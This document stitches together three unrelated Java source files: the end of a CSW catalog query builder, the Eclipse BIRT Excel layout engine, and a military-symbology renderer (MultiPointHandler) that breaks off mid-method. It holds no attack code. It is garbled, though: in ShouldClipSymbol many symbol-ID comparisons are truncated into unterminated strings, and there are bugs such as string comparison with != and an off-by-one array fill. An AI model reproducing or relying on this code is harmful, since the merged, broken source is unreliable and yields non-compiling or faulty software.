InputStream isXslt = Catalog.class
.getResourceAsStream("/response2client.xsl");
Source responseSource = new StreamSource(isCswResponse);
Source xsltSource = new StreamSource(isXslt);
TransformerFactory transFact = TransformerFactory.newInstance();
Templates template = transFact.newTemplates(xsltSource);
Transformer transformer = template.newTransformer();
transformer.transform(responseSource, new StreamResult(writer2Client));
writer2Client.flush();
writer2Client.close();
isXslt.close();
return writer2Client.toString();
}
/**
* Extract the params from a Map and create a Query in CSW 2.0.2 standard
* using GetRecords class
*
* @param parametros
* @return String
* @throws XMLStreamException
*/
private String params2Query(Map<String, String[]> parametros) throws XMLStreamException {
try {
ArrayList<String> filterRules = new ArrayList<String>();
GetRecords getrecords = new GetRecords();
getrecords.setResulType("results");
getrecords.setOutputSchema("csw:IsoRecord");
getrecords.setTypeNames("gmd:MD_Metadata");
getrecords.setElementSetName(GetRecords.FULL);
// bboxes
Operator orBBox = new Operator("Or");
String stringBBoxes = parametros.get("bboxes")[FIRST];
ArrayList<BBox> bboxes = Utils.extractToBBoxes(stringBBoxes);
if (bboxes != null) {
if (bboxes.size() > 1) {
ArrayList<String> rulesBBox = new ArrayList<String>();
for (BBox bbox : bboxes) {
rulesBBox.add(bbox.toOGCBBox());
}
orBBox.setRules(rulesBBox);
filterRules.add(orBBox.getExpresion());
} else {
filterRules.add(bboxes.get(FIRST).toOGCBBox());
}
}
// temporal range
Property fromDate = null, toDate = null;
String start_date = parametros.get("start_date")[FIRST];
if (start_date != "") {
fromDate = new Property("PropertyIsGreaterThanOrEqualTo");
fromDate.setPropertyName("TempExtent_end");
// From the beginning of the day ('t' and 'z' must be lowercase)
fromDate.setLiteral(start_date+"t00:00:00.00z");
}
String end_date = parametros.get("end_date")[FIRST];
if (end_date != "") {
toDate = new Property("PropertyIsLessThanOrEqualTo");
toDate.setPropertyName("TempExtent_begin");
// To the end of the day ('t' and 'z' must be lowercase)
toDate.setLiteral(end_date+"t23:59:59.99z");
}
if (fromDate != null && toDate != null) {
ArrayList<String> dates = new ArrayList<String>(2);
dates.add(fromDate.getExpresion());
dates.add(toDate.getExpresion());
Operator withinDates = new Operator("And");
withinDates.setRules(dates);
filterRules.add(withinDates.getExpresion());
} else if (fromDate != null) {
filterRules.add(fromDate.getExpresion());
} else if (toDate != null) {
filterRules.add(toDate.getExpresion());
}
// variables
String variables = parametros.get("variables")[FIRST];
if (variables != "") {
String queryVariables[] = variables.split(",");
if (queryVariables.length > 1) {
Operator orVariables = new Operator("Or");
ArrayList<String> arrayVariables = new ArrayList<String>();
for (String aVariable : queryVariables) {
Property propVariable = new Property("PropertyIsLike");
propVariable.setPropertyName("ContentInfo");
propVariable.setLiteral(aVariable);
arrayVariables.add(propVariable.getExpresion());
}
orVariables.setRules(arrayVariables);
filterRules.add(orVariables.getExpresion());
} else {
Property propVariable = new Property("PropertyIsLike");
propVariable.setPropertyName("ContentInfo");
propVariable.setLiteral(queryVariables[FIRST]);
filterRules.add(propVariable.getExpresion());
}
}
// free text
String freeText = parametros.get("text")[FIRST];
if (freeText != "") {
Property propFreeText = new Property("PropertyIsLike");
propFreeText.setPropertyName("AnyText");
propFreeText.setLiteral(freeText);
filterRules.add(propFreeText.getExpresion());
}
// Default pagination & ordering values
String startPosition = "1";
String maxRecords = "25";
String sort = "title";
String dir = "asc";
startPosition = String.valueOf(Integer.valueOf(parametros
.get("start")[FIRST]) + 1);
getrecords.setStartPosition(startPosition);
maxRecords = parametros.get("limit")[FIRST];
getrecords.setMaxRecords(maxRecords);
sort = parametros.get("sort")[FIRST];
dir = parametros.get("dir")[FIRST];
SortBy sortby = new SortBy();
sortby.setPropertyName(sort);
sortby.setOrder(dir);
getrecords.setSortby(sortby);
Filter filtro = new Filter();
filtro.setRules(filterRules);
getrecords.setFilter(filtro);
logger.debug(getrecords.getExpresion());
return getrecords.getExpresion();
} catch (XMLStreamException e) {
logger.error(e.getMessage());
throw e;
}
}
}
|
package org.eclipse.birt.report.engine.emitter.excel.layout;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;
import java.util.Map;
import java.util.Stack;
import org.eclipse.birt.report.engine.content.IHyperlinkAction;
import org.eclipse.birt.report.engine.content.IStyle;
import org.eclipse.birt.report.engine.emitter.excel.Data;
import org.eclipse.birt.report.engine.emitter.excel.DataCache;
import org.eclipse.birt.report.engine.emitter.excel.ExcelUtil;
import org.eclipse.birt.report.engine.emitter.excel.HyperlinkDef;
import org.eclipse.birt.report.engine.emitter.excel.Span;
import org.eclipse.birt.report.engine.emitter.excel.StyleBuilder;
import org.eclipse.birt.report.engine.emitter.excel.StyleConstant;
import org.eclipse.birt.report.engine.emitter.excel.StyleEngine;
import org.eclipse.birt.report.engine.emitter.excel.StyleEntry;
public class ExcelLayoutEngine
{
public final static String EMPTY = "";
public final static int MAX_ROW = 65525;
public final static int MAX_CLOUMN = 255;
public final static Object waste = new Object( );
private DataCache cache;
private AxisProcessor axis;
private StyleEngine engine;
private int detal;
private int left;
private Stack containers = new Stack( );
private Stack tables = new Stack( );
private Hashtable links = new Hashtable( );
public ExcelLayoutEngine( PageDef page )
{
axis = new AxisProcessor( );
int[] init = new int[3];
init[0] = page.leftmargin;
init[1] = page.contentwidth + init[0];
init[2] = page.rightmargin + init[1];
axis.addCoordinates( init );
Rule rule = new Rule( init[0], init[1] - init[0] );
cache = new DataCache( 1 );
engine = new StyleEngine( this );
detal = init[0] == 0 ? 0 : 1;
left = init[0];
containers.push( createContainer( rule, page.style ) );
}
public XlsContainer getCurrentContainer( )
{
return (XlsContainer) containers.peek( );
}
public Stack getContainers( )
{
return containers;
}
public void addTable( TableInfo table, IStyle style )
{
Rule rule = getCurrentContainer( ).getRule( );
int start = rule.getStart( );
int[] npos = new int[table.getColumnCount( )];
npos[0] = start;
for ( int i = 1; i < table.getColumnCount( ); i++ )
{
npos[i] = npos[i - 1] + table.getColumnWidth( i - 1 );
}
int[] scale = axis.getRange( start, rule.getEnd( ) );
for ( int i = 0; i < scale.length - 1; i++ )
{
int sp = scale[i];
int se = scale[i + 1];
int[] range = inRange( sp, se, npos );
if ( range.length > 0 )
{
int pos = axis.getCoordinate( sp ) - detal;
cache.insertColumns( pos, range.length );
for ( int j = 0; j < range.length; j++ )
{
axis.addCoordinate( range[j] );
}
}
}
XlsContainer container = createContainer( rule, style );
XlsTable tcontainer = new XlsTable( table, container );
addContainer( tcontainer );
tables.push( tcontainer );
}
private int[] inRange( int start, int end, int[] data )
{
int[] range = new int[data.length];
int count = 0;
for ( int i = 0; i < data.length; i++ )
{
if ( ( data[i] > start ) && ( data[i] < end ) )
{
count++;
range[count] = data[i];
}
}
int[] result = new int[count];
int j = 0;
for ( int i = 0; i < range.length; i++ )
{
if ( range[i] != 0 )
{
result[j] = range[i];
j++;
}
}
return result;
}
public void addCell( int col, int span, IStyle style )
{
XlsTable table = (XlsTable) tables.peek( );
Rule rule = table.getColumnRule( col, span );
addContainer( createContainer( rule, style ) );
}
public void endCell( )
{
endContainer( );
}
public void addRow( IStyle style )
{
XlsTable table = (XlsTable) containers.peek( );
XlsContainer container = createContainer( table.getRule( ), style );
container.setEmpty( false );
addContainer( container );
}
public void endRow( )
{
synchronous( );
endContainer( );
}
private void synchronous( )
{
Rule rule = getCurrentContainer( ).getRule( );
int start = rule.getStart( );
int end = rule.getEnd( );
int startcol = axis.getCoordinate( start );
int endcol = axis.getCoordinate( end );
int max = 0;
int len[] = new int[endcol - startcol];
for ( int i = startcol; i < endcol; i++ )
{
int columnsize = cache.getColumnSize( i - detal );
len[i - startcol] = columnsize;
max = max > columnsize ? max : columnsize;
}
for ( int i = startcol; i < endcol; i++ )
{
int rowspan = max - len[i - startcol];
int last = len[i - startcol] - 1;
if(rowspan > 0)
{
Object data = null;
Object upstair = cache.getData( i - detal, last );
if ( upstair != null && upstair != waste )
{
Data predata = (Data) upstair;
int rs = predata.getRowSpan( ) + rowspan;
predata.setRowSpan( rs );
data = predata;
}
else
{
data = waste;
}
for(int p =0 ; p < rowspan; p++) {
cache.addData( i - detal, data );
}
}
}
}
public void endTable( )
{
if ( !tables.isEmpty( ) )
{
tables.pop( );
endContainer( );
}
}
public void addContainer( IStyle style, HyperlinkDef link )
{
Rule rule = getCurrentContainer( ).getRule( );
StyleEntry entry = engine.createEntry( rule, style );
addContainer( new XlsContainer( entry, rule ) );
}
public void addContainer( XlsContainer container )
{
getCurrentContainer( ).setEmpty( false );
int col = axis.getCoordinate( container.getRule( ).getStart( ) );
int pos = cache.getColumnSize( col - detal );
container.setStart( pos );
containers.push( container );
}
public void endContainer( )
{
XlsContainer container = getCurrentContainer( );
// Make sure all containers contain data except table.
if ( container.isEmpty( ) )
{
Data data = new Data( EMPTY, container.getStyle( ), Data.STRING );
data.setRule( container.getRule( ) );
addData( data );
}
engine.removeContainerStyle( );
containers.pop( );
}
public void addData( Object txt, IStyle style, HyperlinkDef link )
{
Rule rule = getCurrentContainer( ).getRule( );
StyleEntry entry = engine.getStyle( style, rule );
Data data = createData(txt, entry);
data.setHyperlinkDef( link );
data.setRule( rule );
addData( data );
}
public void addCaption(String text) {
Rule rule = getCurrentContainer( ).getRule( );
StyleEntry entry = StyleBuilder.createEmptyStyleEntry( );
entry.setProperty( StyleEntry.H_ALIGN_PROP, "Center" );
Data data = createData(text, entry);
data.setRule( rule );
addData( data );
}
public Data createData( Object txt, StyleEntry entry )
{
if ( ExcelUtil.getType( txt ).equals( Data.NUMBER ) )
{
String format = ExcelUtil.getPattern( txt, entry
.getProperty( StyleConstant.NUMBER_FORMAT_PROP ) );
entry.setProperty( StyleConstant.NUMBER_FORMAT_PROP, format );
entry.setProperty( StyleConstant.DATA_TYPE_PROP, Data.NUMBER );
return new Data( txt, entry, Data.NUMBER );
}
else if ( ExcelUtil.getType( txt ).equals( Data.DATE ) )
{
String format = ExcelUtil.getPattern( txt, entry
.getProperty( StyleConstant.DATE_FORMAT_PROP ) );
entry.setProperty( StyleConstant.DATE_FORMAT_PROP, format );
entry.setProperty( StyleConstant.DATA_TYPE_PROP, Data.DATE );
return new Data( txt, entry, Data.DATE );
}
entry.setProperty( StyleConstant.DATA_TYPE_PROP, Data.STRING );
return new Data( txt, entry, Data.STRING );
}
private void addData( Data data )
{
getCurrentContainer( ).setEmpty( false );
int col = axis.getCoordinate( data.getRule( ).getStart( ) );
int span = axis.getCoordinate( data.getRule( ).getEnd( ) ) - col;
addDatatoCache( col, data );
for ( int i = col + 1; i < col + span; i++ )
{
addDatatoCache( i, waste );
}
}
public XlsContainer createContainer( Rule rule, IStyle style )
{
return new XlsContainer( engine.createEntry( rule, style ), rule );
}
public Map getStyleMap( )
{
return engine.getStyleIDMap( );
}
public int[] getCoordinates( )
{
return axis.getCoordinates( );
}
public int getRowCount( )
{
int realcount = cache.getRowCount( );
return Math.min( realcount, MAX_ROW - 1 );
}
public AxisProcessor getAxis( )
{
return axis;
}
public int getColumnSize( int column )
{
return cache.getColumnSize( column - detal );
}
public Data getData( int col, int row )
{
Object object = cache.getData( col - detal, row );
return object == waste ? null : (Data) object;
}
public Data[] getRow( int rownum )
{
Object[] row = cache.getRowData( rownum );
List data = new ArrayList( );
int width = Math.min( row.length, MAX_CLOUMN - 1 );
// margin, we can ignore them now
// if(detal == 1)
// Data margin = createMarginData();
// rowdata[0] = margin;
for ( int i = 0; i < width; i++ )
{
if ( waste == row[i] )
{
continue;
}
Data d = (Data) row[i];
if(d.isProcessed()) {
continue;
}
HyperlinkDef def = d.getHyperlinkDef( );
if ( def != null
&& def.getType( ) == IHyperlinkAction.ACTION_BOOKMARK )
{
def.setUrl( (String) links.get( def.getUrl( ) ) );
}
d.setProcessed( true );
data.add( row[i] );
}
return (Data[]) data.toArray( new Data[0] );
}
private void addDatatoCache( int col, Object value )
{
cache.addData( col - detal, value );
}
// private Data createMarginData( )
// Data data = new Data( EMPTY, null );
// data.setRule( new Rule( 0, left ) );
// return data;
public void complete( )
{
int rowcount = cache.getRowCount( );
for ( int i = 0; i < rowcount; i++ )
{
Object[] row = cache.getRowData( i );
for ( int j = 0; j < row.length; j++ )
{
if ( row[j] == waste )
{
continue;
}
Data d = (Data) row[j];
int styleid = engine.getStyleID( d.getStyleEntry( ) );
d.setStyleId( styleid );
Rule rule = d.getRule( );
int start = axis.getCoordinate( rule.getStart( ) );
int end = axis.getCoordinate( rule.getEnd( ) );
Span span = new Span( start, end - start - 1 );
HyperlinkDef link = d.getHyperlinkDef( );
if ( link != null && link.getBookmark( ) != null )
{
// Since Excel cell start is 1, 1
links.put( link.getBookmark( ), getCellName( i + 1,
start + 1 ) );
}
d.setSpan( span );
}
}
}
private String getCellName( int row, int col )
{
char base = (char) ( col + 64 );
Character chr = new Character( base );
return chr.toString( ) + row;
}
}
|
package sec.web.render;
import java.util.ArrayList;
import android.util.Log;
import android.util.SparseArray;
import armyc2.c2sd.graphics2d.*;
import java.util.Map;
import sec.geo.utilities.StringBuilder;
import sec.web.render.utilities.JavaRendererUtilities;
import sec.web.render.utilities.LineInfo;
import sec.web.render.utilities.SymbolInfo;
import sec.web.render.utilities.TextInfo;
import armyc2.c2sd.renderer.utilities.IPointConversion;
import armyc2.c2sd.renderer.utilities.MilStdAttributes;
import armyc2.c2sd.renderer.utilities.MilStdSymbol;
import armyc2.c2sd.renderer.utilities.ModifiersTG;
import armyc2.c2sd.renderer.utilities.PointConversion;
import armyc2.c2sd.renderer.utilities.RendererSettings;
import armyc2.c2sd.renderer.utilities.ShapeInfo;
import armyc2.c2sd.renderer.utilities.Color;
import armyc2.c2sd.renderer.utilities.SymbolUtilities;
import armyc2.c2sd.JavaLineArray.POINT2;
import armyc2.c2sd.JavaTacticalRenderer.TGLight;
import armyc2.c2sd.JavaRendererServer.RenderMultipoints.clsRenderer;
import armyc2.c2sd.JavaRendererServer.RenderMultipoints.clsClipPolygon2;
import armyc2.c2sd.JavaTacticalRenderer.mdlGeodesic;
import java.util.LinkedList;
import java.util.List;
import armyc2.c2sd.renderer.utilities.SymbolDef;
import armyc2.c2sd.renderer.utilities.SymbolDefTable;
import armyc2.c2sd.renderer.utilities.ErrorLogger;
import armyc2.c2sd.renderer.utilities.RendererException;
import java.util.logging.Level;
import armyc2.c2sd.renderer.MilStdIconRenderer;
//import java.awt.font.TextAttribute;
//import java.awt.font.NumericShaper;
import android.graphics.Typeface;
import armyc2.c2sd.renderer.utilities.RendererUtilities;
import armyc2.c2sd.graphics2d.*;
@SuppressWarnings({"unused", "rawtypes", "unchecked"})
public class MultiPointHandler {
private final static int SYMBOL_FILL_IDS = 90;
private final static int SYMBOL_LINE_IDS = 91;
private final static int SYMBOL_FILL_ICON_SIZE = 92;
/**
* 2525Bch2 and USAS 13/14 symbology
*/
private static final int _maxPixelWidth = 1000;
private static final int _minPixelWidth = 100;
public static final int Symbology_2525Bch2_USAS_13_14 = 0;
//private final static String TEXT_COLOR = "textColor";
//private final static String TEXT_BACKGROUND_COLOR = "textBackgroundColor";
/**
* 2525C, which includes 2525Bch2 & USAS 13/14
*/
public static final int Symbology_2525C = 1;
public static String getModififerKML(String id,
String name,
String description,
String symbolCode,
String controlPoints,
Double scale,
String bbox,
SparseArray symbolModifiers,
SparseArray symbolAttributes,
int format, int symStd) {
String output = "";
List<String> placemarks = new LinkedList<String>();
try {
double maxAlt = 0;
double minAlt = 0;
output = RenderSymbol(id, name, description, symbolCode, controlPoints, scale, bbox, symbolModifiers, symbolAttributes, format, symStd);
int pmiStart = output.indexOf("<Placemark");
int pmiEnd = 0;
int curr = 0;
int count = 0;
String tempPlacemark = "";
while (pmiStart > 0) {
if (count > 0) {
pmiEnd = output.indexOf("</Placemark>", pmiStart) + 12;
tempPlacemark = output.substring(pmiStart, pmiEnd);
if (tempPlacemark.contains("<Point>")) {
placemarks.add(output.substring(pmiStart, pmiEnd));
}
//System.out.println(placemarks.get(count));
//end, check for more
pmiStart = output.indexOf("<Placemark", pmiEnd - 2);
}
count++;
}
java.lang.StringBuilder sb = new java.lang.StringBuilder();
for (String pm : placemarks) {
sb.append(pm);
}
return sb.toString();
} catch (Exception exc) {
}
return output;
}
/**
* GE has the unusual distinction of being an application with coordinates
* outside its own extents. It appears to only be a problem when lines cross
* the IDL
*
* @param pts2d the client points
*/
public static void NormalizeGECoordsToGEExtents(double leftLongitude,
double rightLongitude,
ArrayList<Point2D> pts2d) {
try {
int j = 0;
double x = 0, y = 0;
Point2D pt2d = null;
int n = pts2d.size();
//for (j = 0; j < pts2d.size(); j++)
for (j = 0; j < n; j++) {
pt2d = pts2d.get(j);
x = pt2d.getX();
y = pt2d.getY();
while (x < leftLongitude) {
x += 360;
}
while (x > rightLongitude) {
x -= 360;
}
pt2d = new Point2D.Double(x, y);
pts2d.set(j, pt2d);
}
} catch (Exception exc) {
}
}
/**
* GE recognizes coordinates in the range of -180 to +180
*
* @param pt2d
* @return
*/
private static Point2D NormalizeCoordToGECoord(Point2D pt2d) {
Point2D ptGeo = null;
try {
double x = pt2d.getX(), y = pt2d.getY();
while (x < -180) {
x += 360;
}
while (x > 180) {
x -= 360;
}
ptGeo = new Point2D.Double(x, y);
} catch (Exception exc) {
}
return ptGeo;
}
/**
* We have to ensure the bounding rectangle at least includes the symbol or
* there are problems rendering, especially when the symbol crosses the IDL
*
* @param controlPoints the client symbol anchor points
* @param bbox the original bounding box
* @return the modified bounding box
*/
private static String getBoundingRectangle(String controlPoints,
String bbox) {
String bbox2 = "";
try {
//first get the minimum bounding rect for the geo coords
Double left = 0.0;
Double right = 0.0;
Double top = 0.0;
Double bottom = 0.0;
String[] coordinates = controlPoints.split(" ");
int len = coordinates.length;
int i = 0;
left = Double.MAX_VALUE;
right = -Double.MAX_VALUE;
top = -Double.MAX_VALUE;
bottom = Double.MAX_VALUE;
for (i = 0; i < len; i++) {
String[] coordPair = coordinates[i].split(",");
Double latitude = Double.valueOf(coordPair[1].trim());
Double longitude = Double.valueOf(coordPair[0].trim());
if (longitude < left) {
left = longitude;
}
if (longitude > right) {
right = longitude;
}
if (latitude > top) {
top = latitude;
}
if (latitude < bottom) {
bottom = latitude;
}
}
bbox2 = left.toString() + "," + bottom.toString() + "," + right.toString() + "," + top.toString();
} catch (Exception ex) {
System.out.println("Failed to create bounding rectangle in MultiPointHandler.getBoundingRect");
}
return bbox2;
}
/**
* need to use the symbol to get the upper left control point in order to
* produce a valid PointConverter
*
* @param geoCoords
* @return
*/
private static Point2D getControlPoint(ArrayList<Point2D> geoCoords) {
Point2D pt2d = null;
try {
double left = Double.MAX_VALUE;
double right = -Double.MAX_VALUE;
double top = -Double.MAX_VALUE;
double bottom = Double.MAX_VALUE;
Point2D ptTemp = null;
int n = geoCoords.size();
//for (int j = 0; j < geoCoords.size(); j++)
for (int j = 0; j < n; j++) {
ptTemp = geoCoords.get(j);
if (ptTemp.getX() < left) {
left = ptTemp.getX();
}
if (ptTemp.getX() > right) {
right = ptTemp.getX();
}
if (ptTemp.getY() > top) {
top = ptTemp.getY();
}
if (ptTemp.getY() < bottom) {
bottom = ptTemp.getY();
}
}
pt2d = new Point2D.Double(left, top);
} catch (Exception ex) {
System.out.println("Failed to create control point in MultiPointHandler.getControlPoint");
}
return pt2d;
}
/**
* Assumes a reference in which the north pole is on top.
*
* @param geoCoords the geographic coordinates
* @return the upper left corner of the MBR containing the geographic
* coordinates
*/
private static Point2D getGeoUL(ArrayList<Point2D> geoCoords) {
Point2D ptGeo = null;
try {
int j = 0;
Point2D pt = null;
double left = geoCoords.get(0).getX();
double top = geoCoords.get(0).getY();
double right = geoCoords.get(0).getX();
double bottom = geoCoords.get(0).getY();
int n = geoCoords.size();
//for (j = 1; j < geoCoords.size(); j++)
for (j = 1; j < n; j++) {
pt = geoCoords.get(j);
if (pt.getX() < left) {
left = pt.getX();
}
if (pt.getX() > right) {
right = pt.getX();
}
if (pt.getY() > top) {
top = pt.getY();
}
if (pt.getY() < bottom) {
bottom = pt.getY();
}
}
//if geoCoords crosses the IDL
if (right - left > 180) {
//There must be at least one x value on either side of +/-180. Also, there is at least
//one positive value to the left of +/-180 and negative x value to the right of +/-180.
//We are using the orientation with the north pole on top so we can keep
//the existing value for top. Then the left value will be the least positive x value
//left = geoCoords.get(0).getX();
left = 180;
//for (j = 1; j < geoCoords.size(); j++)
n = geoCoords.size();
for (j = 0; j < n; j++) {
pt = geoCoords.get(j);
if (pt.getX() > 0 && pt.getX() < left) {
left = pt.getX();
}
}
}
ptGeo = new Point2D.Double(left, top);
} catch (Exception ex) {
System.out.println("Failed to create control point in MultiPointHandler.getControlPoint");
}
return ptGeo;
}
private static String getBboxFromCoords(ArrayList<Point2D> geoCoords) {
//var ptGeo = null;
String bbox = null;
try {
int j = 0;
Point2D pt = null;
double left = geoCoords.get(0).getX();
double top = geoCoords.get(0).getY();
double right = geoCoords.get(0).getX();
double bottom = geoCoords.get(0).getY();
for (j = 1; j < geoCoords.size(); j++) {
pt = geoCoords.get(j);
if (pt.getX() < left) {
left = pt.getX();
}
if (pt.getX() > right) {
right = pt.getX();
}
if (pt.getY() > top) {
top = pt.getY();
}
if (pt.getY() < bottom) {
bottom = pt.getY();
}
}
//if geoCoords crosses the IDL
if (right - left > 180) {
//There must be at least one x value on either side of +/-180. Also, there is at least
//one positive value to the left of +/-180 and negative x value to the right of +/-180.
//We are using the orientation with the north pole on top so we can keep
//the existing value for top. Then the left value will be the least positive x value
//left = geoCoords[0].x;
left = 180;
right = -180;
for (j = 0; j < geoCoords.size(); j++) {
pt = geoCoords.get(j);
if (pt.getX() > 0 && pt.getX() < left) {
left = pt.getX();
}
if (pt.getX() < 0 && pt.getX() > right) {
right = pt.getX();
}
}
}
//ptGeo = new armyc2.c2sd.graphics2d.Point2D(left, top);
bbox = Double.toString(left) + "," + Double.toString(bottom) + "," + Double.toString(right) + "," + Double.toString(top);
} catch (Exception ex) {
System.out.println("Failed to create control point in MultiPointHandler.getBboxFromCoords");
}
//return ptGeo;
return bbox;
}
private static boolean crossesIDL(ArrayList<Point2D> geoCoords) {
boolean result = false;
Point2D pt2d = getControlPoint(geoCoords);
double left = pt2d.getX();
Point2D ptTemp = null;
int n = geoCoords.size();
//for (int j = 0; j < geoCoords.size(); j++)
for (int j = 0; j < n; j++) {
ptTemp = geoCoords.get(j);
if (Math.abs(ptTemp.getX() - left) > 180) {
return true;
}
}
return result;
}
/**
* Checks if a symbol is one with decorated lines which puts a strain on
* google earth when rendering like FLOT. These complicated lines should be
* clipped when possible.
*
* @param symbolID
* @return
*/
public static Boolean ShouldClipSymbol(String symbolID) {
String affiliation = SymbolUtilities.getStatus(symbolID);
if (symbolID.substring(0, 1).equals("G") && affiliation.equals("A")) {
return true;
}
if (SymbolUtilities.isWeather(symbolID)) {
return true;
}
String id = SymbolUtilities.getBasicSymbolID(symbolID);
if(id.equals("G*T*F
id.equals("G*F*LCC---****X") ||//CFL
id.equals("G*G*GLB
id.equals("G*G*GLF
id.equals("G*G*GLC
id.equals("G*G*GAF
id.equals("G*G*AAW
id.equals("G*G*DABP
id.equals("G*G*OLP
id.equals("G*G*PY
id.equals("G*G*PM
id.equals("G*G*ALL
id.equals("G*G*ALU
id.equals("G*G*ALM
id.equals("G*G*ALC
id.equals("G*G*ALS
id.equals("G*G*SLB
id.equals("G*G*SLH
id.equals("G*G*GAY
id.equals("G*M*OFA
id.equals("G*M*OGB
id.equals("G*M*OGL
id.equals("G*M*OGZ
id.equals("G*M*OGF
id.equals("G*M*OGR
id.equals("G*M*OADU
id.equals("G*M*OADC
id.equals("G*M*OAR
id.equals("G*M*OAW
id.equals("G*M*OEF---****X") || //Obstacles Effect Fix
id.equals("G*M*OMC
id.equals("G*M*OWU
id.equals("G*M*OWS
id.equals("G*M*OWD
id.equals("G*M*OWA
id.equals("G*M*OWL
id.equals("G*M*OWH
id.equals("G*M*OWCS
id.equals("G*M*OWCD
id.equals("G*M*OWCT
id.equals("G*M*OHO
id.equals("G*M*BDD---****X") || //Bypass Difficult
id.equals("G*M*BCD---****X") || //Ford Difficult
id.equals("G*M*BCE---****X") || //Ford Easy
id.equals("G*M*SL
id.equals("G*M*SP
id.equals("G*M*NR
id.equals("G*M*NB
id.equals("G*M*NC
id.equals("G*F*ACNI
id.equals("G*F*ACNR
id.equals("G*F*ACNC
id.equals("G*F*AKBC
id.equals("G*F*AKBI
id.equals("G*F*AKBR
id.equals("G*F*AKPC
id.equals("G*F*AKPI
id.equals("G*F*AKPR
id.equals("G*F*LT
id.equals("G*F*LTS
id.equals("G*G*SAE
id.equals("G*S*LRA
id.equals("G*S*LRM
id.equals("G*S*LRO
id.equals("G*S*LRT
id.equals("G*S*LRW
id.equals("G*T*Q
id.equals("G*T*E
id.equals("G*T*F-----****X") || //Tasks Fix
id.equals("G*T*K-----****X") || //counterattack.
id.equals("G*T*KF----****X") || //counterattack by fire.
id.equals("G*G*PA----****X") || //AoA for Feint
id.equals("G*M*ORP
id.equals("G*M*ORS
id.equals("G*T*A
{
return true;
} else {
return false;
}
}
/**
*
* @param id
* @param name
* @param description
* @param symbolCode
* @param controlPoints
* @param scale
* @param bbox
* @param symbolModifiers
* @param symbolAttributes
* @param format
* @return
*/
public static String RenderSymbol(String id,
String name,
String description,
String symbolCode,
String controlPoints,
Double scale,
String bbox,
SparseArray<String> symbolModifiers,
SparseArray<String> symbolAttributes,
int format) {
return RenderSymbol(id, name, description, symbolCode, controlPoints,
scale, bbox, symbolModifiers, symbolAttributes, format,
RendererSettings.getInstance().getSymbologyStandard());
}
/**
* Assumes bbox is of form left, right, bottom, top and it is currently only
* using the width to calculate a reasonable scale. If the original scale is
* within the max and min range it returns the original scale.
*
* @param bbox
* @param origScale
* @return
*/
private static double getReasonableScale(String bbox, double origScale) {
double scale = origScale;
try {
String[] bounds = bbox.split(",");
double left = Double.valueOf(bounds[0]);
double right = Double.valueOf(bounds[2]);
double top = Double.valueOf(bounds[3]);
double bottom = Double.valueOf(bounds[1]);
//return a somewhat arbitrary scale value for unreasonable extents, i.e. 1000 is typical
//earth circumference/2 meters * 39.3701 inches/meter * 96 pixels/inch * 1000 pixels wide
//features will shrink as the globe gets shrinks less than 1000 pixels across
if (left == -180 && right == 180) {
return 7.573e7; //was origScale
} else if (left == 180 && right == -180) {
return 7.573e7; //was origScale
}
POINT2 ul = new POINT2(left, top);
POINT2 ur = new POINT2(right, top);
POINT2 lr = new POINT2(right, bottom);
//double widthInMeters = mdlGeodesic.geodesic_distance(ul, ur, null, null);
double widthInMeters = mdlGeodesic.geodesic_distance(ul, lr, null, null);
double maxWidthInPixels = _maxPixelWidth;
double minScale = (maxWidthInPixels / widthInMeters) * (1.0d / 96.0d) * (1.0d / 39.37d);
minScale = 1.0d / minScale;
if (origScale < minScale) {
return minScale;
}
double minWidthInPixels = _minPixelWidth;
double maxScale = (minWidthInPixels / widthInMeters) * (1.0d / 96.0d) * (1.0d / 39.37d);
maxScale = 1.0d / maxScale;
if (origScale > maxScale) {
return maxScale;
}
} catch (NumberFormatException exc) {
}
return scale;
}
/**
*
* @param id
* @param name
* @param description
* @param symbolCode
* @param controlPoints
* @param scale
* @param bbox
* @param symbolModifiers SparseArray<String>, keyed using constants from
* ModifiersTG. Pass in comma delimited String for modifiers with multiple
* values like AM, AN & X
* @param symbolAttributes SparseArray<String>, keyed using constants from
* MilStdAttributes. pass in double[] for AM, AN and X; Strings for the
* rest.
* @param format
* @param symStd 0=2525Bch2, 1=2525C
* @return
*/
public static String RenderSymbol(String id,
String name,
String description,
String symbolCode,
String controlPoints,
Double scale,
String bbox,
SparseArray<String> symbolModifiers,
SparseArray<String> symbolAttributes,
int format, int symStd)
{
//System.out.println("MultiPointHandler.RenderSymbol()");
boolean normalize = true;
//Double controlLat = 0.0;
//Double controlLong = 0.0;
//Double metPerPix = GeoPixelConversion.metersPerPixel(scale);
//String bbox2=getBoundingRectangle(controlPoints,bbox);
StringBuilder jsonOutput = new StringBuilder();
String jsonContent = "";
Rectangle rect = null;
String[] coordinates = controlPoints.split(" ");
TGLight tgl = new TGLight();
ArrayList<ShapeInfo> shapes = new ArrayList<ShapeInfo>();
ArrayList<ShapeInfo> modifiers = new ArrayList<ShapeInfo>();
//ArrayList<Point2D> pixels = new ArrayList<Point2D>();
ArrayList<Point2D> geoCoords = new ArrayList<Point2D>();
int len = coordinates.length;
//diagnostic create geoCoords here
Point2D coordsUL=null;
for (int i = 0; i < len; i++)
{
String[] coordPair = coordinates[i].split(",");
Double latitude = Double.valueOf(coordPair[1].trim()).doubleValue();
Double longitude = Double.valueOf(coordPair[0].trim()).doubleValue();
geoCoords.add(new Point2D.Double(longitude, latitude));
}
ArrayList<POINT2> tgPoints = null;
IPointConversion ipc = null;
//Deutch moved section 6-29-11
Double left = 0.0;
Double right = 0.0;
Double top = 0.0;
Double bottom = 0.0;
Point2D temp = null;
Point2D ptGeoUL = null;
int width = 0;
int height = 0;
int leftX = 0;
int topY = 0;
int bottomY = 0;
int rightX = 0;
int j = 0;
ArrayList<Point2D> bboxCoords = null;
if (bbox != null && bbox.equals("") == false) {
String[] bounds = null;
if (bbox.contains(" "))//trapezoid
{
bboxCoords = new ArrayList<Point2D>();
double x = 0;
double y = 0;
String[] coords = bbox.split(" ");
String[] arrCoord;
for (String coord : coords) {
arrCoord = coord.split(",");
x = Double.valueOf(arrCoord[0]);
y = Double.valueOf(arrCoord[1]);
bboxCoords.add(new Point2D.Double(x, y));
}
//use the upper left corner of the MBR containing geoCoords
//to set the converter
ptGeoUL = getGeoUL(bboxCoords);
left = ptGeoUL.getX();
top = ptGeoUL.getY();
String bbox2=getBboxFromCoords(bboxCoords);
scale = getReasonableScale(bbox2, scale);
ipc = new PointConverter(left, top, scale);
Point2D ptPixels = null;
Point2D ptGeo = null;
int n = bboxCoords.size();
